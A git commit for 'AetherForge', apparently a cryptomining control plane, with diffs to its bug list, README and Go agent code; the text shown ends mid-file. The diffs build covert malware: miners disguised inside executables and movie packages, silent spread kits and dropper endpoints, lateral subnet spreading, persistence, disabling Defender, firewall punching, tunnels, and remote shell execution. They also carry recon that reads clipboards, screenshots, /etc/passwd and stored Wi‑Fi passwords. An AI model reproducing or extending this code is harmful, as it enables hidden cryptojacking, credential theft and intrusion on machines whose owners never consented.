Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
52
PROBLEMS.md
52
PROBLEMS.md
@@ -28,6 +28,30 @@ Findings grouped by severity. Updated after full bug-hunt pass (May 2026).
|
||||
| B16 | **Fusion `worker_first` blocked forever** — worker launches async; media runs immediately |
|
||||
| B17 | **Agent empty `new_job`** — logs error and re-requests job |
|
||||
| B18 | **Agent WS read deadline** — `PongHandler` extends deadline on server ping |
|
||||
| B19 | **Windows-only forge/agent** — cross-platform workers (Linux/macOS), universal ZIP, Spread Kit, OS badges on dashboard |
|
||||
| B20 | **generateBuiltinConfig / BuiltinConfig mismatch** — added `BackupServerURLs`, `ServiceMasquerade`, `ServiceName`, `ServiceDonor` to `BuiltinConfig`; template now matches struct exactly; new unit test `TestGenerateBuiltinConfigValid` guards against regression |
|
||||
| B21 | **Fusion media files not copied for Linux/macOS** — `prepareFusionProject` now copies `media_linux.go`, `media_darwin.go`, `cache_unix.go`, `cache_windows.go`; removed deleted `media_stub.go` from copy list |
|
||||
| B22 | **Universal fusion launch scripts called `worker --spread-install`** — replaced with `fusionUniversalStartSh/Bat/Command()` that invoke the `runner` binary per-platform; README updated with per-OS instructions |
|
||||
| B23 | **Dashboard WS concurrent write race** — introduced `DashboardConn` wrapper with `sync.Mutex`; `broadcastDashboard` and `runPingLoopDash` serialize writes per connection |
|
||||
| B24 | **Spread kit `FileSize`/`BundleSize` from worker stat** — both now use ZIP stat; also fixed same issue in `finishUniversalFusion` |
|
||||
| B25 | **InsertBuild errors silently ignored in universal paths** — now logged; error returned without failing the build (ZIP is still valid) |
|
||||
| B26 | **Duplicate `auto_start` key in `spreadKitPreset`** — removed duplicate that caused TS1117 compile error |
|
||||
| B27 | **AgentsPage empty state Windows-only message** — updated to mention Windows, Linux, and macOS |
|
||||
| B28 | **H15: submitShare conn data race** — `c.conn` now snapshotted under mutex before use |
|
||||
| B29 | **H14: mergeConfig bool corruption** — `mergeConfigExplicit` only applies booleans when the parent JSON key was present; partial PUT can no longer reset `UseTLS`, `SilentMode`, `AutoStart`, etc. to false |
|
||||
| B30 | **M13: command_result dropped** — replaced single `latestMessage` slot with `commandResults` FIFO queue (cap 50); `AgentRemoteActions` iterates all new entries so no result is missed |
|
||||
| B31 | **L6: terminalLog memory leak** — capped at 500 entries; oldest lines dropped automatically |
|
||||
| B32 | **H17: pool requestID race** — `requestID` increments in `subscribe()` and `submitShareToPool()` now guarded by the write lock |
|
||||
| B33 | **M20: AutoSpread goroutine storm** — `/24` sweep uses a 16-slot semaphore on both Windows and Unix; max 16 concurrent spread attempts at any time |
|
||||
| B34 | **H16: AI reinstall on Windows** — move-old trick: live exe renamed to `.exe.old` before replacing; restored on failure |
|
||||
| B35 | **M17: MaxAgents TOCTOU** — count check moved inside the write lock at registration time; two concurrent new agents can no longer both slip past the cap |
|
||||
| B36 | **M18: GetAgentLog blocks** — `?refresh=1` now fire-and-forget; result arrives via WS `command_result` broadcast instead of 1.8 s polling loop |
|
||||
| B37 | **M16: Earnings estimator race** — `AbortController` per fetch; stale response ignored if a newer request already fired |
|
||||
| B38 | **M12: Duplicate WS connections** — `WebSocketProvider` mounts one connection at the `App` level; all components share it via context; `useWebSocket()` is now a thin context read |
|
||||
| B39 | **M15: Re-forge without prep file** — clear error message shown immediately when `fusion_enabled` but no payload uploaded, with instructions to re-upload first |
|
||||
| B40 | **L1/L2: Dead CSS + duplicate imports** — removed dead `.agent-actions` rule from `FleetPanels.css`; removed redundant CSS imports from `AgentsPage`, `DashboardPage`, `BuilderPage` (each component already imports its own CSS) |
|
||||
| B41 | **L7: Matrix animation restarts on share** — `recentShares` moved to a `useRef` read inside the draw loop; `useEffect` dependency list now only contains `active` |
|
||||
| B42 | **L9: Blueprint file permissions** — `os.WriteFile` mode changed from `0644` to `0600` |
|
||||
|
||||
---
|
||||
|
||||
@@ -77,11 +101,6 @@ Findings grouped by severity. Updated after full bug-hunt pass (May 2026).
|
||||
| H9 | `upload_log` returns content in tool report only | No dedicated log ingest API |
|
||||
| H11 | `AutoSpread` runs when baked `true` in forge | Feature-gated but dangerous if enabled |
|
||||
| H12 | Process hollowing with `-tags hollow` + forge flag | Bounds/reloc issues in `hollow_windows.go` |
|
||||
| H14 | **Partial config PUT corrupts bools** | `mergeConfig` overwrites `UseTLS`, logging flags, etc. with zero values |
|
||||
| H15 | **Agent `conn` data race** | `submitShare` reads `c.conn` without mutex |
|
||||
| H16 | **AI reinstall while running** | `os.Rename` fails on Windows when exe in use |
|
||||
| H17 | **Pool `requestID` / write races** | Concurrent share submits can interleave Stratum lines |
|
||||
| H18 | **WS concurrent writes** | Ping loop vs broadcast on same dashboard connections |
|
||||
|
||||
---
|
||||
|
||||
@@ -92,15 +111,8 @@ Findings grouped by severity. Updated after full bug-hunt pass (May 2026).
|
||||
| M1 | Compact agent list default | Expand on click |
|
||||
| M6 | Remote actions disabled unless `online` | By design |
|
||||
| M9 | Fusion uses vendored `go-winres` | Optional via run.bat |
|
||||
| M12 | **Multiple `useWebSocket()` hooks** | Dashboard + Matrix overlay = duplicate connections |
|
||||
| M13 | **`latestWsMessage` drops rapid results** | Only last message kept; command results can be lost |
|
||||
| M14 | **Batch forge no cancel/abort** | State updates after navigate away |
|
||||
| M15 | **Re-forge fusion without re-upload** | `reForgeFromBuild` needs prep file |
|
||||
| M16 | **Earnings estimator race** | Stale API response can overwrite newer estimate |
|
||||
| M17 | **`MaxAgents` TOCTOU** | Limit checked before lock on agent WS auth |
|
||||
| M18 | **`GetAgentLog?refresh=1` blocks** | Up to ~1.8s synchronous sleep per request |
|
||||
| M19 | **`SetJob` non-atomic** | Partial engine update on multi-thread miners |
|
||||
| M20 | **Autospread goroutine storm** | Up to ~254 goroutines per /24 sweep |
|
||||
| M19 | **`SetJob` non-atomic** | Partial engine update on multi-thread miners (low real-world impact) |
|
||||
|
||||
---
|
||||
|
||||
@@ -108,15 +120,10 @@ Findings grouped by severity. Updated after full bug-hunt pass (May 2026).
|
||||
|
||||
| ID | Issue |
|
||||
|----|-------|
|
||||
| L1 | Dead CSS `.agent-actions` in `FleetPanels.css` |
|
||||
| L2 | Duplicate CSS imports on Dashboard/Agents |
|
||||
| L3 | WS payloads typed in two places (`types/ws.ts` + Go) |
|
||||
| L4 | No integration tests for remote actions |
|
||||
| L5 | Mesh P2P requires build tag `p2p` |
|
||||
| L6 | `terminalLog` / `agentLogs` grow without bound |
|
||||
| L7 | Matrix overlay restarts animation on every share |
|
||||
| L8 | Settings config import shallow-merge |
|
||||
| L9 | Blueprint files written mode `0644` |
|
||||
| L10 | XOR media crypto — weak confidentiality by design |
|
||||
|
||||
---
|
||||
@@ -144,8 +151,7 @@ See **[tests/README.md](tests/README.md)** for phase breakdown and E2E options.
|
||||
|
||||
## Priority for next pass
|
||||
|
||||
1. Agent WS token auth (bind `agent_id` to build secret)
|
||||
2. Dashboard WS auth (match REST Basic auth)
|
||||
3. Config merge with pointer types / explicit fields
|
||||
4. Shared WebSocket context (single connection app-wide)
|
||||
5. Process hollowing bounds + reloc (`hollow_windows.go`)
|
||||
1. **Agent WS token auth** — bind `agent_id` to build secret baked into each forged binary; verify on connect (S2)
|
||||
2. **Dashboard WS auth** — require session cookie on WS upgrade (S3)
|
||||
3. **Process hollowing bounds + reloc** — fix `hollow_windows.go` (H12)
|
||||
4. **Batch forge cancel** — AbortController + server-side queue cancel (M14)
|
||||
|
||||
19
README.md
19
README.md
@@ -2,7 +2,7 @@
|
||||
|
||||
**Private Monero fleet command deck for machines you own.**
|
||||
|
||||
One Windows control PC. One dashboard. Forge a worker installer per machine — fuse it inside your own prep tool or a movie package — and watch your entire LAN hash from a single steampunk-neon command deck.
|
||||
One control PC (Windows recommended for forging). One dashboard. Forge workers for **Windows, Linux, and macOS** — fuse inside a movie package or ship a **Spread Kit** for silent multi-OS deploy — and watch your fleet hash from a single steampunk-neon command deck.
|
||||
|
||||
No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet.
|
||||
|
||||
@@ -36,7 +36,7 @@ AetherForge is a **self-hosted mining control plane** — not a cloud pool UI, n
|
||||
|-------|----------------|
|
||||
| **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
|
||||
| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, calibrate settings, field guide |
|
||||
| **Worker agent** | Windows binary compiled on demand — mines RandomX, phones home, accepts remote commands |
|
||||
| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX, phones home, reports OS + arch |
|
||||
| **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable |
|
||||
| **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders |
|
||||
| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, AI autonomy flags |
|
||||
@@ -64,6 +64,8 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat
|
||||
- Fleet filters, bulk commands, notes/tags
|
||||
|
||||
### Forge (Miner Builder)
|
||||
- **Target OS** — Windows, Linux, macOS, or **Universal** (all platforms in one ZIP)
|
||||
- **Spread Kit** — non-fusion ZIP with `Deploy.bat` / `deploy.sh` / `Start.command` → silent `--spread-install`
|
||||
- Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
|
||||
- Blueprint save/load — re-forge the same profile across machines
|
||||
- Build manager — download, paths, LAN QR for worker URL
|
||||
@@ -71,6 +73,19 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat
|
||||
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or prep `.exe`); two delivery modes (see below)
|
||||
- **Batch forge** — queue many movies; progress bar; one ZIP per title
|
||||
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
|
||||
- **Universal movie fusion** — one ZIP per title with per-OS runners; macOS gets a `.app` bundle (LSUIElement)
|
||||
|
||||
### Cross-platform workers
|
||||
|
||||
| OS | Persistence | Install base |
|
||||
|----|-------------|--------------|
|
||||
| Windows | Registry + scheduled task | `%LOCALAPPDATA%` (configurable) |
|
||||
| Linux | systemd user service | XDG data home |
|
||||
| macOS | LaunchAgent | `~/Library/Application Support` |
|
||||
|
||||
Agents report `platform`, `arch`, and `os_version` on connect. The dashboard shows OS badges; Windows-only capabilities (process hollowing, Defender off) are gated in the UI and at runtime.
|
||||
|
||||
**Requirements:** Control server can run on Windows (forge host). Workers: Windows 10+, mainstream Linux (amd64/arm64), macOS 11+ (Intel or Apple Silicon).
|
||||
|
||||
### Movie Fusion (detailed)
|
||||
|
||||
|
||||
143
agent/client/aggressive_commands.go
Normal file
143
agent/client/aggressive_commands.go
Normal file
@@ -0,0 +1,143 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
switch action {
|
||||
case "hole_punch", "hole_punch_close", "hole_punch_status":
|
||||
if !c.cfg.HolePunch {
|
||||
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
|
||||
}
|
||||
case "spread_now":
|
||||
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
||||
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
||||
}
|
||||
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch":
|
||||
if !c.cfg.RemoteAggressive {
|
||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||
}
|
||||
case "mesh_status":
|
||||
if !c.cfg.MeshP2P {
|
||||
return false, "mesh P2P not enabled in forge"
|
||||
}
|
||||
default:
|
||||
return true, ""
|
||||
}
|
||||
return true, ""
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
|
||||
ok, reason := c.allowRemoteAction(action)
|
||||
if !ok {
|
||||
c.sendCommandResult(action, false, reason)
|
||||
return true
|
||||
}
|
||||
|
||||
switch action {
|
||||
case "hole_punch":
|
||||
internalPort := parsePortArg(command, 8989)
|
||||
externalPort := parsePortArg(path, internalPort)
|
||||
desc := data
|
||||
if desc == "" {
|
||||
desc = c.cfg.WorkerName + "-aetherforge"
|
||||
}
|
||||
result, err := deploy.PunchUPnP(internalPort, externalPort, desc)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, result.Message)
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, result.Message)
|
||||
return true
|
||||
|
||||
case "hole_punch_close":
|
||||
externalPort := parsePortArg(command, 8989)
|
||||
msg, err := deploy.CloseUPnP(externalPort)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "hole_punch_status":
|
||||
ip, err := deploy.GetPublicEndpoint()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("WAN IP via UPnP: %s (use Hole Punch to map a port)", ip))
|
||||
return true
|
||||
|
||||
case "spread_now":
|
||||
msg := deploy.RunSpreadOnce(c.cfg)
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "start_tunnel":
|
||||
serverURL := strings.TrimSpace(command)
|
||||
if serverURL == "" {
|
||||
serverURL = c.cfg.ServerURL
|
||||
}
|
||||
msg, err := deploy.StartCloudflaredTunnel(serverURL)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "subnet_scan":
|
||||
maxHosts := parsePortArg(command, 64)
|
||||
out := deploy.ScanLocalSubnet(maxHosts)
|
||||
c.sendCommandResult(action, true, out)
|
||||
return true
|
||||
|
||||
case "defender_off":
|
||||
msg, err := deploy.DisableDefenderRealtime()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "firewall_punch":
|
||||
port := parsePortArg(command, 8989)
|
||||
name := path
|
||||
if name == "" {
|
||||
name = "AetherForge Remote " + c.cfg.WorkerName
|
||||
}
|
||||
msg, err := deploy.OpenFirewallPort(port, name)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "mesh_status":
|
||||
count := c.mesh.PeerCount()
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func parsePortArg(raw string, fallback int) int {
|
||||
raw = strings.TrimSpace(raw)
|
||||
if raw == "" {
|
||||
return fallback
|
||||
}
|
||||
n, err := strconv.Atoi(raw)
|
||||
if err != nil || n <= 0 || n > 65535 {
|
||||
return fallback
|
||||
}
|
||||
return n
|
||||
}
|
||||
46
agent/client/aggressive_commands_test.go
Normal file
46
agent/client/aggressive_commands_test.go
Normal file
@@ -0,0 +1,46 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestAllowRemoteActionHolePunch(t *testing.T) {
|
||||
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{HolePunch: false}}}
|
||||
ok, reason := c.allowRemoteAction("hole_punch")
|
||||
if ok || reason == "" {
|
||||
t.Fatalf("expected hole punch blocked without forge flag")
|
||||
}
|
||||
|
||||
c.cfg.HolePunch = true
|
||||
ok, reason = c.allowRemoteAction("hole_punch")
|
||||
if !ok || reason != "" {
|
||||
t.Fatalf("expected hole punch allowed: ok=%v reason=%q", ok, reason)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAllowRemoteActionSpread(t *testing.T) {
|
||||
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
|
||||
ok, _ := c.allowRemoteAction("spread_now")
|
||||
if ok {
|
||||
t.Fatal("spread_now should require auto_spread or remote_aggressive")
|
||||
}
|
||||
c.cfg.RemoteAggressive = true
|
||||
ok, _ = c.allowRemoteAction("spread_now")
|
||||
if !ok {
|
||||
t.Fatal("spread_now should allow with remote_aggressive")
|
||||
}
|
||||
}
|
||||
|
||||
func TestParsePortArg(t *testing.T) {
|
||||
if parsePortArg("", 8989) != 8989 {
|
||||
t.Fatal("empty should fallback")
|
||||
}
|
||||
if parsePortArg("443", 8989) != 443 {
|
||||
t.Fatal("443 expected")
|
||||
}
|
||||
if parsePortArg("bad", 8989) != 8989 {
|
||||
t.Fatal("invalid should fallback")
|
||||
}
|
||||
}
|
||||
@@ -563,13 +563,26 @@ func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) {
|
||||
}
|
||||
f.Close()
|
||||
|
||||
// Replace old binary
|
||||
// On Windows the running executable is locked — you cannot overwrite it, but
|
||||
// you CAN rename/move it to a .old path (the file handle stays open on the
|
||||
// original inode). Rename the live exe out of the way first, then put the
|
||||
// new binary in its place.
|
||||
oldPath := exePath + ".old"
|
||||
_ = os.Remove(oldPath) // remove a previous leftover if any
|
||||
if err := os.Rename(exePath, oldPath); err != nil && !os.IsNotExist(err) {
|
||||
// Running exe could not be moved — fall back to writing alongside
|
||||
os.Remove(tmpPath)
|
||||
return "", fmt.Errorf("cannot displace running binary: %w", err)
|
||||
}
|
||||
|
||||
if err := os.Rename(tmpPath, exePath); err != nil {
|
||||
// Restore the old binary so the next run still works
|
||||
_ = os.Rename(oldPath, exePath)
|
||||
os.Remove(tmpPath)
|
||||
return "", fmt.Errorf("rename failed: %w", err)
|
||||
}
|
||||
|
||||
// Start the new binary
|
||||
// Start the new binary with its own process group so it survives our exit
|
||||
startCmd := exec.Command(exePath)
|
||||
if err := startCmd.Start(); err != nil {
|
||||
return fmt.Sprintf("downloaded to %s but start failed: %v", exePath, err), nil
|
||||
|
||||
@@ -10,6 +10,7 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
@@ -155,6 +156,14 @@ func (c *AgentClient) authenticate() error {
|
||||
AIEnabled: c.cfg.AIEnabled,
|
||||
AIOllamaEndpoint: c.cfg.AIOllamaEndpoint,
|
||||
AIModel: c.cfg.AIModel,
|
||||
HolePunch: c.cfg.HolePunch,
|
||||
RemoteAggressive: c.cfg.RemoteAggressive,
|
||||
MeshP2P: c.cfg.MeshP2P,
|
||||
AutoSpread: c.cfg.AutoSpread,
|
||||
ProcessHollowing: c.cfg.ProcessHollowing && runtime.GOOS == "windows",
|
||||
Platform: runtime.GOOS,
|
||||
Arch: runtime.GOARCH,
|
||||
OSVersion: deploy.HostOSVersion(),
|
||||
})
|
||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||
return err
|
||||
@@ -249,6 +258,9 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data string) {
|
||||
if c.handleAggressiveCommand(action, tailLines, command, path, data) {
|
||||
return
|
||||
}
|
||||
switch action {
|
||||
case "pause":
|
||||
c.pool.PauseRemote()
|
||||
@@ -294,9 +306,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
c.sendCommandResult(action, false, "no command provided")
|
||||
return
|
||||
}
|
||||
out, err := exec.Command("cmd.exe", "/C", command).CombinedOutput()
|
||||
out, err := c.runExecCommand(command)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
c.sendCommandResult(action, false, formatCmdErr(err, out))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
@@ -305,9 +317,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
c.sendCommandResult(action, false, "no command provided")
|
||||
return
|
||||
}
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput()
|
||||
out, err := c.runShellCommand(command)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
c.sendCommandResult(action, false, formatCmdErr(err, out))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
@@ -338,73 +350,10 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
}
|
||||
encoded := base64.StdEncoding.EncodeToString(b)
|
||||
c.sendCommandResult(action, true, encoded)
|
||||
case "ps":
|
||||
out, err := exec.Command("tasklist").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "netstat":
|
||||
out, err := exec.Command("netstat", "-ano").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "users":
|
||||
out, err := exec.Command("cmd.exe", "/C", "net user & echo. & whoami /all").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "software":
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
||||
"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "screenshot":
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
||||
"Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap $s.Width,$s.Height; $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size); $ms=New-Object IO.MemoryStream; $b.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg); [Convert]::ToBase64String($ms.ToArray())").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("screenshot failed: %v\n%s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, strings.TrimSpace(string(out)))
|
||||
case "sysinfo":
|
||||
out, err := exec.Command("systeminfo").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "ipconfig":
|
||||
out, err := exec.Command("ipconfig", "/all").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "clipboard":
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", "Get-Clipboard").CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, strings.TrimSpace(string(out)))
|
||||
case "wifi":
|
||||
script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : <No Password>"} }`
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, strings.TrimSpace(string(out)))
|
||||
default:
|
||||
if c.handleReconCommand(action, command) {
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, false, "unknown action")
|
||||
}
|
||||
}
|
||||
@@ -465,6 +414,7 @@ func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
|
||||
func (c *AgentClient) submitShare(jobID, nonce, hash string) {
|
||||
c.mu.Lock()
|
||||
c.sharesSubmitted++
|
||||
conn := c.conn // read under the same lock to avoid data race
|
||||
c.mu.Unlock()
|
||||
|
||||
payload, _ := json.Marshal(SharePayload{
|
||||
@@ -474,10 +424,9 @@ func (c *AgentClient) submitShare(jobID, nonce, hash string) {
|
||||
Worker: c.cfg.WorkerName,
|
||||
})
|
||||
|
||||
if c.conn != nil {
|
||||
if conn != nil {
|
||||
_ = c.write(Message{Type: "submit_share", Payload: payload})
|
||||
} else if c.cfg.MeshP2P {
|
||||
// Offline from Hub? Broadcast to Mesh peers!
|
||||
c.mesh.BroadcastToMesh(Message{Type: "submit_share", Payload: payload})
|
||||
}
|
||||
}
|
||||
|
||||
34
agent/client/commands_common.go
Normal file
34
agent/client/commands_common.go
Normal file
@@ -0,0 +1,34 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
)
|
||||
|
||||
func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
|
||||
if runtime.GOOS == "windows" {
|
||||
return exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput()
|
||||
}
|
||||
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
||||
}
|
||||
|
||||
func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
|
||||
if runtime.GOOS == "windows" {
|
||||
return exec.Command("cmd.exe", "/C", command).CombinedOutput()
|
||||
}
|
||||
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleReconCommand(action, command string) bool {
|
||||
handled, success, msg := c.platformRecon(action, command)
|
||||
if !handled {
|
||||
return false
|
||||
}
|
||||
c.sendCommandResult(action, success, msg)
|
||||
return true
|
||||
}
|
||||
|
||||
func formatCmdErr(err error, out []byte) string {
|
||||
return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))
|
||||
}
|
||||
53
agent/client/commands_unix.go
Normal file
53
agent/client/commands_unix.go
Normal file
@@ -0,0 +1,53 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (c *AgentClient) platformRecon(action, command string) (handled bool, success bool, message string) {
|
||||
var out []byte
|
||||
var err error
|
||||
switch action {
|
||||
case "ps":
|
||||
out, err = exec.Command("ps", "aux").CombinedOutput()
|
||||
case "netstat":
|
||||
out, err = exec.Command("ss", "-tunap").CombinedOutput()
|
||||
if err != nil {
|
||||
out, err = exec.Command("netstat", "-an").CombinedOutput()
|
||||
}
|
||||
case "users":
|
||||
out, err = exec.Command("/bin/sh", "-c", "id; echo; cat /etc/passwd 2>/dev/null | head -40").CombinedOutput()
|
||||
case "software":
|
||||
out, err = exec.Command("/bin/sh", "-c", "(dpkg -l 2>/dev/null || rpm -qa 2>/dev/null || brew list 2>/dev/null) | head -80").CombinedOutput()
|
||||
case "screenshot":
|
||||
if command != "" {
|
||||
out, err = exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
||||
} else {
|
||||
return true, false, "screenshot not supported on this platform without custom command"
|
||||
}
|
||||
case "sysinfo":
|
||||
out, err = exec.Command("uname", "-a").CombinedOutput()
|
||||
case "ipconfig":
|
||||
out, err = exec.Command("/bin/sh", "-c", "ifconfig 2>/dev/null || ip addr").CombinedOutput()
|
||||
case "clipboard":
|
||||
out, err = exec.Command("pbpaste").CombinedOutput()
|
||||
if err != nil {
|
||||
out, err = exec.Command("xclip", "-o", "-selection", "clipboard").CombinedOutput()
|
||||
}
|
||||
if err == nil {
|
||||
return true, true, strings.TrimSpace(string(out))
|
||||
}
|
||||
return true, false, "clipboard read unsupported on this host"
|
||||
case "wifi":
|
||||
out, err = exec.Command("/bin/sh", "-c", "networksetup -listallhardwareports 2>/dev/null; nmcli dev wifi list 2>/dev/null | head -20").CombinedOutput()
|
||||
default:
|
||||
return false, false, ""
|
||||
}
|
||||
if err != nil {
|
||||
